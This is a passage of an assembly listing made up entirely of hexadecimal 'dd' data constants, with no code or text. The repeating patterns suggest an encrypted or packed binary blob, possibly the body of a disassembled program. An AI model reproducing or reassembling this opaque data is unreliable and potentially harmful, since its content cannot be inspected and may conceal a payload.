260E75B8h, 210E984h, 0AFCB60DEh dd 611283E0h, 0BF101390h, 7AED585Ch, 0F6511689h, 0BB080B78h dd 0A7A798E9h, 0C9EC990Ch, 0A64B97A1h, 26E6BA2Ch, 288DE2B5h dd 3D643CFEh, 7EBD19C2h, 0EDEF9912h, 7A2D613Ah, 4E53816Ch dd 4963310Fh, 0D5107EAEh, 918CA262h, 0AFA97340h, 0B5EC98E9h dd 71F0B9D4h, 0B05E6790h, 8AE23D9Ah, 0C09217EAh, 7D5E49DAh dd 2F123880h, 0CE929402h, 470F98E9h, 0B223AE0h, 9B6E27F3h dd 82A79912h, 0F3EC9912h, 0E5E74C5h, 0BF11743Ah, 0B2235CEh dd 2AC99C6Ch, 7AEC9069h, 0DE90609Ch, 4E4798E9h, 0ECAAE7C7h dd 6925FDFh, 2 dup(0E5AAE124h), 323BC224h, 96A6F652h, 70B46B1Ch dd 6A284768h, 31B48376h, 0E2E780E2h, 75CE59F8h, 59749C19h dd 0EFF73A81h, 256FAA60h, 0DE439BABh, 240D3709h, 0BE495977h dd 0AD791BD4h, 2B20C85Dh, 0EE7F71B4h, 74AAC0A0h, 0C9E039Dh dd 6ECDB044h, 480C191Ah, 8B6D0255h, 1BFDE6C0h, 0B9578519h dd 1EF9B577h, 757B8A77h, 87A36945h, 0D4E3EDh, 0DF23598h dd 4B59EFC3h, 0FC82650Ah, 26086AE1h, 0B09133B6h, 0BB8BE0B6h dd 54B2D224h, 0AF3F90F1h, 0A4D0622Bh, 9C334318h, 0D4275B53h dd 0F74AC318h, 0F9A62177h, 7360CB4Bh, 0DABFF072h, 0A5B773B9h dd 0E3F64B07h, 3809BFC2h, 8D5AA70Ah, 7D2DFA1Dh, 55AC873Fh dd 0A1F1C6E1h, 67E0E0AEh, 0A16CF02Fh, 223073FCh, 0BA21CEA1h dd 98AF9146h, 46829127h, 0EE7F5A44h, 4380CBA0h, 96C3A3DBh dd 7B77D322h, 8707E127h, 226843CEh, 0A86EB4D6h, 0AF8C2144h dd 3A336F34h, 2F06FE81h, 3231AEB9h, 54F01B66h, 63A60671h dd 67C8C12Eh, 797D97FEh, 26B769E5h, 0A51420C4h, 3B8BD3F2h dd 0D7054DF0h, 94790E64h, 993AD0Ah, 37864AE1h, 793AD0Ah dd 70E15EF3h, 15425EEBh, 4FA7D464h, 0A56307Dh, 9C7258A0h dd 8BEF2807h, 78608BEEh, 0CDF16806h, 0DAA4ED12h, 26543C11h dd 0EC1B120Ah, 90306898h, 5FF8E0B6h, 0C8380279h, 98060D75h dd 18A85A42h, 306CF381h, 22306C69h, 0D22B72B7h, 0F7F16BDEh dd 0A9ABA802h, 5CC000A0h, 8725712Fh, 12B90B9Ah, 60AABA18h dd 883261B2h, 549EE787h, 0A874F20h, 1C0FAF17h, 2890194h dd 9AE5280h, 0A4C530Ch, 0AE45EEA0h, 6E1FC1EAh, 95171718h dd 0EF959B49h, 0C2D886A0h, 9A476CD4h, 0F1A6191Ah, 0B56EAEEh dd 612A02A4h, 0E902240Dh, 0E8A711Fh, 445ACD8Bh, 7A23D233h dd 0A483D148h, 0C0F2CF6Fh, 0E58285CFh, 1D210924h, 0BD5D70B7h dd 5AEECB5Fh, 0B070C8E4h, 9705EEAh, 99EE47D6h, 0FB845968h dd 89022867h, 8321D0DAh, 4469ECF9h, 1AF16B87h, 4CCD358Fh dd 0D1F33591h, 1C534B66h, 2970610Eh, 971CFB39h, 28F419FFh dd 827DF3A6h, 38564299h, 0B1EAB5C9h, 20557A21h, 0EDCDEB4Ah dd 0F29C52A0h, 0A23F850Ch, 7B80CE22h, 0A36AE127h, 0DC171718h dd 9867890Ah, 0E7D85A42h, 3346417Ch, 0E6E8EDD6h, 3A3F14A1h dd 9791E3C3h, 105F822Ch, 30E03AD4h, 0C4745421h, 0E4DFB414h dd 3038623Eh, 870FDA05h, 7E572124h, 0EA9175E0h, 0A3917428h dd 31BE3B95h, 0A3A979B1h, 0DEB8A15Ch, 0EC521370h, 958CFC5Dh dd 0C011FDA3h, 9C7B9F1Ch, 765B6EA1h, 0CDEFF677h, 0D841ADBCh dd 2A86D3F6h, 0DB5437DCh, 5076ED07h, 8AAE11Eh, 41FCB1D8h dd 34A0E9C5h, 78B18A2Fh, 58719387h, 0FDD2E57Dh, 0FEEA7014h dd 21790E6Eh, 613EFB7Ch, 109B00F0h, 7A698C9Eh, 3A032B4Eh dd 0AFDAFE81h, 0E2D83FE7h, 9006A49Bh, 27A003B1h, 0DE465CD0h dd 4883E127h, 0B16F4005h, 8A8A7072h, 0C9D9763h, 0CF4BE75Eh dd 0C491C27Fh, 0C45489Dh dd 7F19E3Eh, 757697EAh, 0C22FEBB0h, 0D8716BCEh, 23BCEE53h dd 474A9AD8h, 3D72D5BBh, 9D6FF19Dh, 8B01A9D6h, 0C7903B04h dd 0CE716CB9h, 0D5B4CE1Fh, 0F9716D77h, 0AC19EDADh, 9367E25h dd 98AF82F9h, 39BD8527h, 0FDF0B712h, 363AA8Eh, 0C29BB7EEh dd 0F30998A2h, 22F1C659h, 2CC57BD6h, 223827C2h, 0B81EE124h dd 0EEA556D0h, 85482897h, 0C2A37A78h, 7C0AF112h, 4FB18CA4h dd 61641405h, 1363EA6Eh, 2FECB6ADh, 0E348A1D7h, 5207D796h dd 71295B5Bh, 9D828846h, 0AEBD2544h, 164CBFBh, 46F677D8h dd 0ED02D579h, 0D811A9Ch, 72096EA4h, 0EADA3B3Bh, 159DC24Dh dd 994C5804h, 0FB4FF219h, 55A95F67h, 1F863579h, 0EB60A842h dd 2D31DA0h, 2062E7BDh, 290D89CBh, 9AB777B1h, 0A2371443h dd 566C2F64h, 0C694198Dh, 6F495250h, 8F79F58Fh, 95FD0F71h dd 0C2A5C083h, 653343E1h, 0F3056A7Eh, 170AD46Ch, 53D29006h dd 0ADF0B1D1h, 0C9D90CAh, 47149E4Dh, 0CCF9FE96h, 11F366C2h dd 0F60BE46Ch, 36E5AC5Bh, 6D96568Dh, 3F448527h, 8BAC1CEh dd 41BEEC12h, 3BAD74A1h, 4CCD3AFCh, 8E251C91h, 7D6AF90h dd 185FCA16h, 0AE0B1C85h, 8E16CCE7h, 53F84194h, 6114A5AAh dd 43627838h, 34E4EC4Fh, 0CE01040h, 53FD35B9h, 0EA75C584h dd 0B1B845E4h, 0E4790E71h, 519FCDF5h, 459BD7D7h, 1A3A6C1Dh dd 25D0877Ah, 1EA82AA3h, 88F6420Bh, 0E5AAE11Bh, 9E57BB3Fh dd 63CC162Fh, 0C33FB814h, 0E5B56275h, 4484A20Dh, 0AC2A6387h dd 4484A21Dh, 0DF0D7512h, 0DB72470Ch, 8AB56274h, 559EC6C4h dd 0E5AAE75Bh, 457F024h, 826B2E9Ah, 0F05AEE4Fh, 755E224h dd 5672C23Ah, 0E5AAF696h, 22307AAFh, 5B9D6424h, 57E6BCECh dd 79DB9ABh, 0F3DFE124h, 66CE3EF8h, 62726DFFh, 4126CF45h dd 2D3FA509h, 8A9DBEB3h, 0F3001AB2h, 22307B7Dh, 60F65924h dd 4C321B7Ah, 2F444D24h, 21D8F4B8h, 503E6E52h, 0A16EF694h dd 3D2AD79Dh, 0E5AAF64Fh, 223132C3h, 5DC1E124h, 5B4E52FBh dd 904B01F4h, 223128A4h, 0B0F7E124h, 0E5AAF64Fh, 826B2E8Dh dd 0AFB987A6h, 0E43D2150h, 4875FDD9h, 2268672Fh, 5D78FF67h dd 0D195330Fh, 8248CDC6h, 1425B0ABh, 3C02808Bh, 6E41E848h dd 3B043F4Dh, 8156CE11h, 28FDD1C2h, 0EA50323Dh, 20BC13A8h dd 8D191F4h, 0D88F03B6h, 4052F481h, 1C98A80Bh, 6AEE0707h dd 51E54A3Eh, 0D3E679DCh, 2992A816h, 0E5AAF695h, 43B947A0h dd 0B4DAAB3h, 1D4617C4h, 0B7DD5C66h, 0B4B405F6h, 0EEA6CE6Ch dd 0F0270CFDh, 501F546h, 7A307372h, 222F81B6h, 0A7902901h dd 528CE5A8h, 31E2DCD8h, 74996927h, 0D72AF4E7h, 2AE6CE66h dd 0E5AAE06Eh, 779CEEF4h, 4763BA57h, 22A82760h, 0C94EC957h dd 0DB03E5C7h, 7B2A9ED1h, 61AAF658h, 93ACA6DEh, 5542F5B2h dd 61FB7341h, 2E49F570h, 704E35D2h, 185F73BDh, 0E5AAE749h dd 0C7ABC28Eh, 6BE8584Bh, 83C7E6BEh, 1C14A010h, 7DA567E6h dd 0E2447CCDh, 4EAAD594h, 0B3B5C2D2h, 0F344D447h, 9BAAF659h dd 5356A018h, 2858EC17h, 0A422C50Ch, 2858EF7Eh, 3 dup(2858EF8Bh) dd 3A393AA2h, 500DF78Bh, 0BBDEA1A1h, 604E8946h, 4CBD5B4Ch dd 35769F16h, 69C8F881h, 0F7DEA1A1h, 134E894Dh, 0DFB9A4F7h dd 0ABDD1A33h, 27805425h, 22F0FE48h, 8E9357F8h, 5E8F9D0Eh dd 5806743Bh, 0F2B2EE1Bh, 12E3247Ah, 0D60B0E83h, 0C7EBB45h dd 16FB4D32h, 65626DE5h, 0BB7801B3h, 0EFD12412h, 0A4B105DDh dd 5B8956A5h, 4C58B230h, 3368AABCh, 1DE4E8C0h, 0DDA17757h dd 970DF4C9h, 9A1788FCh, 0A7808B85h, 9B09024Dh, 5D175F51h dd 73C18B3Ah, 33E675Ch, 9EC600E0h, 358FD1CCh, 4958EF84h dd 7CE466E2h, 0E23F45B5h, 0B7CB8E2Eh, 0B71BD0B2h, 0C1798E19h dd 5E0C4F0Bh, 570D67E3h, 47E7F9F3h, 0B15DD931h, 3A36B5D3h dd 0A1CA8302h, 369BC90Eh, 982F714Dh, 7BC047EFh, 7BFB2906h dd 0ACBAD800h, 1DEC59BFh, 8F4A4183h, 71D21D1Bh, 2C5BF79Fh dd 57348673h, 0EDCD07B6h, 8B58EF84h, 51DF2CE6h, 88E19056h dd 251DE600h, 382C7E77h, 20FD90Ch, 0F20B73EFh, 4150247Ah dd 7D5F917Ah, 58BAC1A3h, 933C8D7Fh, 0C7DB3DDh, 6FBF83DAh dd 74ACCA49h, 0AE7D9ED0h, 1ABDCE7Ch, 0ED3E86F7h, 0D099FD30h dd 66B285CFh, 58773C34h, 0D6FF3B1h, 22325BDCh, 4358EF7Eh dd 0ABDD1C2Bh, 0DFB9A4FBh, 0ADBD36D5h, 0C6CB0A8Fh, 0CA6A1832h dd 98F702BEh, 0BD9AD3EBh, 0A38F1968h, 1024FA5Ch, 0AC4E4DEh dd 0C7DB4F2h, 7348CEA2h, 74ACCA49h, 0AE7D9ED0h, 0CD92CE7Ch dd 4A3B2099h, 0E013296Eh, 0C7E5B5Ah, 0D8979DFCh, 8F601B88h dd 0A774628Ah, 595376F3h, 45C6C00Fh, 0BE933B9Eh, 7758F9A4h dd 0C31161Ah, 165A7D13h, 6F25E937h, 70D34259h, 827972A9h dd 0EDE16B60h, 2D0017F3h, 0DF0D4DC2h, 0F999951Dh, 0E0B44557h dd 7E9B07E4h, 0F4A3C5C1h, 19A0ABA4h, 25A29FEEh, 0E4AD8631h dd 6AD07812h, 0BE0157AAh, 2858E850h, 0DE03D496h, 9D5F1C60h dd 61746E88h, 9B12556Ah, 0B2E56E90h, 0EA62C46Ch, 0D9F2D828h dd 0D047EF88h, 0FDE9FB8Ah, 16127824h, 2858E8CFh, 0BCBFE158h dd 86F18493h, 1546AFBBh, 73346B1Dh, 8DC85583h, 0C778FB64h dd 712CB514h, 6F576640h, 1B4A2631h, 1553A064h, 0B6B7DA73h dd 8BF722BFh, 0D6C8E3B0h, 0EB690D30h, 155B22D8h, 0EBB4F43Dh dd 8BDF3762h, 0B2BF5AF4h, 63862CD3h, 13A2EEE4h, 719A024Fh dd 0DA1E88F9h, 2DCD53C5h, 39DDBF19h, 0FABD7B87h, 0A2111831h dd 0B3CB880Fh, 5C75D192h, 0EE6B5759h, 68920104h, 0DF0D7190h dd 3072A51h, 104E3E71h, 39983A19h, 7874A361h, 34BFCCCEh dd 0C774DA19h, 377BED2h, 0E3F91ADAh, 71DCBD02h, 3285986h dd 56553F11h, 0C7ECEF81h, 11515630h, 82BBD727h, 4F52B3Bh dd 85BB412Bh, 0CD90006Fh, 261A7C7Ch, 56989B6h, 42089E91h dd 0B5457D43h, 8768752Eh, 20BB15E0h, 0E9036D2Fh, 0E2945AD7h dd 0D5774BB8h, 0E441BF5h, 10E1A3C3h, 2E15EBFFh, 97C1238Ch dd 26113715h, 0B29BC454h, 8549BDB1h, 24AE6E54h, 5936A26Eh dd 0AF85D8F0h, 4052D6A3h, 10DB9FD4h, 4FD61794h, 0F0B6E8A2h dd 0DFB7946h, 0ACAE042Eh, 4D1E7048h, 0D74C675Ch, 0E0A45585h dd 0FB3625B1h, 0F576D39Ch, 0A0176711h, 0AF5681E6h, 3A02E61Bh dd 9608BE54h, 9ECAD874h, 4358FEACh, 0E673472Dh, 927801AFh dd 0E0C6E985h, 94B8A78Eh, 99DFBD38h, 0FE6F5C37h, 8C5363EAh dd 7D594F1Eh, 0E3FB6EF5h, 6B40CE8Fh, 75BB1C43h, 0BC5ACFD7h dd 1BB23100h, 0B23897C9h, 4AC66BB5h, 7E9366FAh, 311D6FB1h dd 2DB50079h, 0AF87A8FEh, 0B3D208E7h, 0DF7246AAh, 0A89B19D2h dd 9D2D5683h, 53FB7B7Ah, 5CCE5252h, 76063378h, 2822C9AFh dd 0D6F6E486h, 77DB2A30h, 0D94C9218h, 0DBDAA8A2h, 0A345A5C9h dd 236D07BCh, 78C2761Fh, 0EFBADC50h, 0E68140E9h, 4D59BB14h dd 80920447h, 0A31A8865h, 2858EFECh, 5806C1F8h, 0DF85BBC4h dd 0D648A249h, 0FF122F4Ah, 0FA7EDD0Eh, 36FAE601h, 0FB75D195h dd 3CE8DF3Bh, 0A1E2D90Ch, 3CE8DF32h, 556BE087h, 1C89CC89h dd 0E475D6AFh, 5B529C18h, 2D191881h, 0F9C57702h, 2858ED44h dd 0C32F18F0h, 0D6418589h, 2CA6E238h, 0A0A9188Bh, 0D8EB1051h dd 2858E452h, 53DF708Bh, 0C158EFD7h, 0AE4180E1h, 0C90280E0h dd 0D8136E04h, 0A45301CBh, 48366061h, 11593888h, 0B367EB8h dd 10C71F57h, 0C34D9C0Bh dd 43DB5E38h, 0B5322CB8h, 9B68290h, 2CA6E00Ch, 0D6509D8Bh dd 0DA6F83F8h, 0CF2D0E15h, 2FA77C16h, 66DA2253h, 7644693Bh dd 0DE8E5CCDh, 0F9B26416h, 3C4C7A19h, 285BA5E5h, 0FBD3EF8Bh dd 9333602Eh, 9E294047h, 4D1D6A16h, 3576A716h, 265EB781h dd 694E007Eh, 775F2094h, 0A292CFC2h, 5FB42BC4h, 6449ED32h dd 304876DAh, 92F07B1Ch, 0B156065Bh, 0E65F6A81h, 32E6A9A8h dd 163A173Eh, 0FAD9AC93h, 134B33Fh, 4609A033h, 316ACEBDh dd 5C777E0Dh, 522CFB83h, 2089C006h, 86EFDF4Ch, 6CC50B54h dd 0DCF79C30h, 0BB02EDD0h, 15B956DFh, 2E4D95A8h, 0EA897E9Bh dd 85F66D51h, 8C7BCF4Ah, 202D1E0Ch, 0F68EBC6Eh, 3A17F9B0h dd 8858EF8Bh, 0CDAEB42Dh, 0D8698028h, 0EE6A7CF0h, 8158EC1Bh dd 0ED95B5FCh, 6A3BFD57h, 4CBDFDF2h, 3A39C017h, 284FEBB3h dd 0F525748Bh, 52E03F5h, 2527A655h, 190869F0h, 901BEF88h dd 8647C1D0h, 6774955h, 2E837153h, 0E935446Ah, 8AB89801h dd 3FC0A272h, 3C8EBC7Bh, 3358EF8Bh, 0D784BC02h, 13BE152Fh dd 698EBD83h, 0D78EB9E5h, 3A377F2Fh, 3F56EF8Bh, 1C37F131h dd 6272FE95h, 0F68EBCE1h, 3A17F3B0h, 8858EF8Bh, 0CDB8AB3Fh dd 0D86984B8h, 0F16A7CF0h, 3F58EC1Bh, 5653AC3Bh, 8F798C60h dd 6B32F42Fh, 0B491D105h, 0D21D152Ch, 44EFD3E1h, 204D776Dh dd 349D5CC7h, 0E8B0A79Ah, 4469E68Fh, 9E8A09E9h, 63C9E72Bh dd 798AE9D2h, 86961B4h, 3633FA81h, 11E33F79h, 9FE96BFh dd 0E33CABF1h, 9865296Ch, 0E92CEC75h, 94848CCBh, 6327A2DAh dd 111347DAh, 5B2B82D7h, 7C0ADC1Ch, 84241F61h, 0DCCFD9B9h dd 80FFD54h, 0A2C733E2h, 7D489807h, 84C7E591h, 309BBEC4h dd 695E5CF6h, 0A692D5A1h, 48D91809h, 0CEDCC4F8h, 9346D82Ch dd 2DCBBACCh, 0A2D92E98h, 2AC7160Eh, 0FA0BC8B1h, 979FFC00h dd 334BB84Bh, 66C85895h, 0C4A80BEBh, 60B4B298h, 4974A6B8h dd 8861B81Ch, 8F586D60h, 0CFBA7DFCh, 459C8BCAh, 0E0DA15ECh dd 0FD1D39F6h, 91FBDCh, 0DD7DF38Eh, 68C733D3h, 4C0831BDh dd 0A5A32312h, 747A8839h, 0C6FC7FB8h, 9246922Dh, 0A13B8A25h dd 88255B86h, 9DC6586Ah, 6AC733E5h, 6DF27A3Bh, 5806B15Fh dd 0E259D2C9h, 17C696AEh, 2AC7036Bh, 1623BACCh, 0B9DB20FAh dd 2AC74EF3h, 0DA1E9CF9h, 75160BA1h, 0B7AE003h, 1651A6EEh dd 7D197F38h, 752E2822h, 0A37F96D6h, 991899C6h, 0E216A4C8h dd 5CF039ECh, 5A15C19Dh, 6F9D590Ah, 63224C4Bh, 160A6579h dd 1B812DC9h, 0F7137E1Fh, 14B68DEEh, 3E9DC6F8h, 65BA7FBCh dd 0A82D4E4Bh, 0C5559294h, 3417E6CEh, 0D255923Bh, 447191ECh dd 82D88C9Fh, 633F6891h, 0A37F963Fh, 0A4F20C3Ah, 0F484FC01h dd 2B3D0E80h, 0E5B0704Ch, 7868DB18h, 886846C6h, 2B558C4Ch dd 6883CE3Ch, 80080451h, 2E8CE077h, 49D5BA5Ch, 0DE7AF74Ah dd 6F9DC681h, 6F9DBB32h, 0B061E14Bh, 0A829A925h, 0C320C6C6h dd 9F3CD63Bh, 6FF7464Bh, 0EB0F0E39h, 306F0F0Bh, 0B1B012B0h dd 0E327C13Eh, 32979724h, 721C18BBh, 866767CEh, 4C422B62h dd 0EA5B1A7Ah, 14EE72CFh, 2730AAF5h, 0C8D76EBFh, 2 dup(0C8D7AAF8h) dd 0B9D7AAF8h, 0C6F8FEB0h, 0ABF4AE56h, 0BBC30269h, 99F29959h dd 0ADEC12C2h, 4DD76B44h, 4548B587h, 0C2AF8F14h, 5DE91867h dd 7E5A8159h, 34104593h, 15CBFEF1h, 62887146h, 0C125A7C9h dd 7056217Bh, 0D965B904h, 1C6E9451h, 0A245F349h, 0D5AE5EBh dd 0FAEFAC9Bh, 4CDE3AC6h, 67265648h, 14CB3EDh, 62DCBC2Eh dd 0E41FCA02h, 0CF7359A7h, 53AB53DFh, 31DE1340h, 4BB2D89Ah dd 2814F0CDh, 2619B3D2h, 1FA528BBh, 0D14E8F23h, 28FD979Fh dd 0C8B70E86h, 7E0FE4E2h, 6FCCEB67h, 0A2332A53h, 4B55EB38h dd 0D6D7AB64h, 0C125A53Dh, 0EE36D189h, 77BBD0ECh, 772C9557h dd 0F23A923Dh, 2208AAF5h, 3FA932CFh, 5F0497FCh, 0A062C816h dd 641CCD62h, 4148F8AEh, 0E5BD17A2h, 452DA3ECh, 30C89175h dd 744808C4h, 3D96EAAAh, 6490E6C1h, 0C4454D09h, 3618D7C5h dd 26B61395h, 0E8370A0Eh, 0E6D427Ah, 0D1C395B3h, 4B7A15FFh dd 4D7C1B71h, 0A06873B0h, 9000AAEDh, 82CD0759h, 46413348h dd 0AFBA07Ch, 0A439E2EBh, 7488DB13h, 98A66457h, 13E1502Eh dd 0CF2A0176h, 8F0EE78Eh, 45D7A0B9h, 0E8370572h, 0F6A4DC7Ah dd 0C7E5CEC9h, 357671B1h, 348CF7CBh, 1C88939h, 30E05CDAh dd 0C6C88939h, 0A3B89ACEh, 24B45427h, 52376891h, 0E8D01716h dd 0EFB788CCh, 810BFB10h, 20191270h, 23F7AD93h, 0C6DC33ECh dd 5F860503h, 3F66001Dh, 0E88CEC33h, 0E476AAF7h, 377006DBh dd 0A694503Bh, 7A2D2C70h, 460E3148h, 9054C087h, 811DA570h dd 6348B0D6h, 0C72FE5EBh, 0EB81BFCCh, 945676F5h, 42A2EB67h dd 996E506Bh, 0EB3EB38h, 200F9C16h, 904B48ECh, 0CE018B30h dd 59DC29D0h, 0C6F8DAFDh, 42E911F8h, 0B501B23Fh, 2813F938h dd 5E92D238h, 7BBFB866h, 0A2AF1845h, 0E6810352h, 13858CBAh dd 0C379E3A9h, 997D5E15h, 0B4D4E0F8h, 0AD2B4945h, 0E18C8563h dd 0CE10D966h, 8E2111B1h, 0C4DCAFC4h, 6CCF3B27h, 3BB941ADh dd 67D69A67h, 666680ADh, 5C04C3F2h, 503C387Eh, 5752860h dd 0D217999Ah, 0D6A4DE5Bh, 7F078944h, 8FF238FAh, 9367560Dh dd 0E3E6A83Eh, 0C6192734h, 0E5DA2CD2h, 0F8E6AA46h, 0AE04892Bh dd 22F81B8Bh, 561BA4E3h, 7D9C13D4h, 35E6AAD5h, 226225A6h dd 9693C62Eh, 8FCE802Ch, 352A484Ch, 1030F699h, 472DAA2Dh dd 424BBE14h, 0C4C17CC5h, 26173F14h, 12E8A436h, 0AB3DB916h dd 50D089C1h, 0DF57AED5h, 66F0F917h, 7ABD37E7h, 486E76FFh dd 1EABAB2h, 232D5251h, 0A553BAACh, 67445D0Eh, 66D9AAEEh dd 6D79DE85h, 3AC0368Dh, 25E52C29h, 53C83844h, 0D7B7EA3Dh dd 4AF76C48h, 8A317ADBh, 0B6B1C835h, 0C51F8800h, 0BB2365C2h dd 37AE5200h, 0C85F9E34h, 0D6AABB7Ah, 0E679A5B8h, 4A998A37h dd 6C113ABAh, 2C0D1B44h, 0F0CE8BD1h, 0E2260B45h, 0C8D8585Ch dd 0AC75BA71h, 7D63488Ch, 0D2F260F9h, 1DB7890Bh, 675C5799h dd 1FBE21BAh, 9D62C24Dh, 0B47CE967h, 4F659295h, 70488B7Ah dd 4E4345AFh, 90161C90h, 515C780Fh, 5993272Eh, 0A7555CE2h dd 669BA55Dh, 3F6C4246h, 0C35BDCA9h, 48F28446h, 0C946C288h dd 8A5C0AF8h, 31261B71h, 829EE1AEh, 0E18A03A3h, 9C62AC75h dd 3C3204BFh, 124CEE80h, 8C222C54h, 1256E6CFh, 14889DBBh dd 0BBFBDCCAh, 8EDDBAACh, 0E8DAB405h, 0B5C391CCh, 70887618h dd 0E4397DD3h, 88B3AF8Eh, 0C459A95h, 7059B48Eh, 0C083E5EBh dd 3AEFCCDBh, 0B915BAB8h, 4290700Eh, 0E4F257BFh, 0C3CDA281h dd 3DA24C92h, 0B9C8C50Fh, 0FBA88F3Eh, 90098AEDh, 0D9061C90h dd 220C0802h, 4EDE2C30h, 5717DC28h, 42296760h, 8459E720h dd 0E7BCFD02h, 5316B8A3h, 1CCD929Ah, 0F8C0ABD5h, 17B234E6h dd 979AE1D0h, 6D79DE85h, 368286BCh, 0A96246F9h, 558A4206h dd 0C5770EDAh, 0C4C5BB7Dh, 5A61F633h, 756912E4h, 791F3FF7h dd 1E36ADC6h, 0F68211D6h, 0F291BB6Fh, 140D40DAh, 0AA06EB84h dd 0A82A50FAh, 87E09A92h, 0B17E0ED4h, 5C70CA5Ch, 7722FB5Dh dd 59F66900h, 0A9002360h, 73A5B307h, 0DD0645AFh, 711378DEh dd 0A1D2BD7Dh, 49DB4FE0h, 50C539ABh, 0E0B61E27h, 756F17BAh dd 0D8359D68h, 8D80314Bh, 0A8B1F34Ch, 0FCB5D759h, 6E0E5A80h dd 868A1D71h, 0C8D7AD11h dd 0AD1790F8h, 786F01C9h, 0D46014F0h, 1084FB5Eh, 0F8C61F27h dd 8A030E19h, 0F8C61F1Dh, 9F69CD19h, 0E67D1B4Ch, 0E456957h dd 0C33B5594h, 59D7AAF8h, 7E3F2BCAh, 0C8D7ABFFh, 0D8B347FFh dd 7A0AF814h, 5CFEA59Ah, 8875CA02h, 0D4FEABFFh, 0C3AF580Ch dd 0C34E5927h, 269FDFBh, 0FD83D80Dh, 0BE38FE88h, 552E4A7Dh dd 0FC929C52h, 0FB992EC6h, 434AD26h, 0FF51D1E4h, 0F600944Fh dd 12661B39h, 0D26001B5h, 0E1DF3886h, 3F117422h, 0D5E54D63h dd 8C1784FFh, 0CE027208h, 6BC4151Ah, 0A3704EDBh, 0E13DC40Dh dd 8CF2EFE1h, 0E1D7AB2Ch, 0E99AB9CAh, 0DA1D042Ch, 8F7A490Ah dd 0A62969ADh, 0B489D338h, 67E03DF8h, 4B3EB978h, 49D3AB3Bh dd 2AA053AFh, 168071FDh, 788391F5h, 0E1AEC6DBh, 63DC7D69h dd 0EE34542Eh, 46C98246h, 0C4AEC6B8h, 2F1B1D2Ch, 168071ECh dd 788391F5h, 0E1AEC6DBh, 15545A69h, 0EE345437h, 30BC9A46h dd 0C49F5D4Dh, 0CDBE552Eh, 56ADB24Dh, 0EDAF69BCh, 308E5704h dd 0E1AEC6F7h, 352AC0A1h, 9F87543Bh, 0F946C0D6h, 0BAE4ABFCh dd 0B48229BDh, 0B1E4A016h, 4D0F7732h, 0C8D7A79Dh, 0C8D7A960h dd 9676C5F8h, 87AEB8FDh, 56DBC881h, 17AC17h, 0C4AEECF1h dd 23587F8h, 0A884DD30h, 0B48B4494h, 60013BF8h, 3FD7ABFFh dd 351C214Dh, 883903Bh, 4DADB62Ah, 54608B57h, 1BE20AF7h dd 24875435h, 40A9010Ch, 4EDBFB91h, 0CDBDA244h, 56ADB24Dh dd 0E4B5E2BCh, 2E3E05E0h, 0E1AEC6F7h, 352AC0A1h, 0A187543Bh dd 0C4AE2AF2h, 0E251A016h, 58B3F8EEh, 35161972h, 9112AB3Bh dd 0DD0517ACh, 68AB1A3Ah, 2E484778h, 0D8196B26h, 4DFEAAFBh dd 0B48420D1h, 5DDBF753h, 0C8EC2E04h, 151813C4h, 0B2BAA017h dd 4420DEF8h, 0D8197171h, 4DFEAAFBh, 0B48420D1h, 3C3AF753h dd 0C8EC2E57h, 2AA013C4h, 0F67E06B4h, 0ADA01F27h, 581D62A5h dd 0C8D79C65h, 20B8B625h, 0B0D49042h, 0C8D7582Dh, 0C8DD8070h dd 0DBC518F8h, 3D3F4059h, 0F29025F8h, 0F22CD7EBh, 0D56AAF5h dd 43CA212Ah, 0FCAF7AAAh, 0D7AAD2h, 0C8D85419h, 7FD6B800h dd 1AFF560h, 0BDA67550h, 2EBE7993h, 328915BAh, 12A8B86Eh dd 30AA9314h, 0FA57516Ah, 0BB4C27A6h, 0B4CF7E1Dh, 9AC17CFBh dd 0A6D7ABFFh, 7328A857h, 0C4EF2407h, 0E910B7D3h, 5063EEBCh dd 0B7456637h, 642D7E20h, 191EF157h, 3CFDCE05h, 6400AAF4h dd 2A2FA51Bh, 9D69DC87h, 3F826CD4h, 0CD18290Ch, 0A87577Eh dd 1CA80468h, 0C8D7AAD6h, 0C42450F7h, 0AFDF69F8h, 0CBB7CB48h dd 64E6A768h, 0EA9C6CB7h, 3AA79203h, 0C8D8576Bh, 0FE88698Fh dd 0B8E4022Ah, 25E3CF30h, 8615872Ch, 0D9931941h, 716CAAh dd 7F72C397h, 8608E6F0h, 7D57F41h, 2F38860h, 0E768C836h dd 171A4E64h, 861A2D87h, 0B08F4519h, 632B46A4h, 8E24ECA5h dd 12E46D51h, 0C4923C33h, 601A3C44h, 7EF6DE9h, 55B64987h dd 0A1882EEh, 7A2D5E7Ah, 0BCB1FD87h, 0CBA27DFBh, 901FF30Ch dd 0D1C4C0FCh, 0FFDB7EFAh, 861A2D87h, 42B5E7FDh, 0D2AABCA8h dd 9D8D6378h, 25DCC7BEh, 0F543A9F3h, 861A2DDEh, 84D9E701h dd 0C186C52Eh, 1A315B59h, 9B8C15D0h, 0F23028BCh, 0C16F1474h dd 8ADECF1Fh, 76B13C41h, 862146ABh, 8BB17CFAh, 0F26C3C41h dd 86213540h, 0FE891077h, 2AC103B8h, 32E5512Ah, 0FAC8117Ah dd 86FF42B6h, 0A9D0C741h, 0F92B485Bh, 0F3A7F713h, 86213413h dd 0E7F97CFAh, 0D35474E3h, 601A3C44h, 0F0F3B003h, 58FA45DDh dd 5E17D4Ah, 39A8E21Eh, 990AF387h, 394D54C6h, 39A79BDBh dd 10h dup(39A7B6EAh), 5CE7FEEAh, 16005D5Ah, 86927F7Ah dd 4A7C0CFh, 0AB9A470Fh, 38BFB6F3h, 0D2A79BD3h, 0D87E8EE5h dd 96B778EAh, 39A79BC6h, 3 dup(39A7B6EAh), 0AA7FF7EAh dd 39A7B6F3h, 3 dup(39A7B6EAh), 0CCE4B6EAh, 99A2CC10h dd 0BB73F869h, 844A86Eh, 1196055Dh, 41150E9Bh, 844A874h dd 3F386B1Dh, 2FF70E92h, 844A874h, 11961E79h, 47970E9Bh dd 844A874h, 3F2F0B91h, 27560E92h, 844A874h, 3F2F1955h dd 0D1980E92h, 844A882h, 3F381889h, 0EBC60E92h, 844A88Bh dd 3F386AEDh, 0CE700E92h, 844A882h, 11960921h, 0EFB70E9Bh dd 844A88Bh, 108EA67Dh, 0D3130E9Bh, 844A882h, 108EA665h dd 0EBC20E9Bh, 844A88Bh, 108E8C99h, 0EFB70E9Bh, 844A88Bh dd 108EA67Dh, 0EEBD0E9Bh, 844A88Bh, 108EA64Dh, 58540E9Bh dd 844A874h, 0DE60301h, 0FEC30E9Bh, 844A88Bh, 119605C5h dd 5AD00E9Bh, 844A874h, 11960571h, 0B430E9Bh, 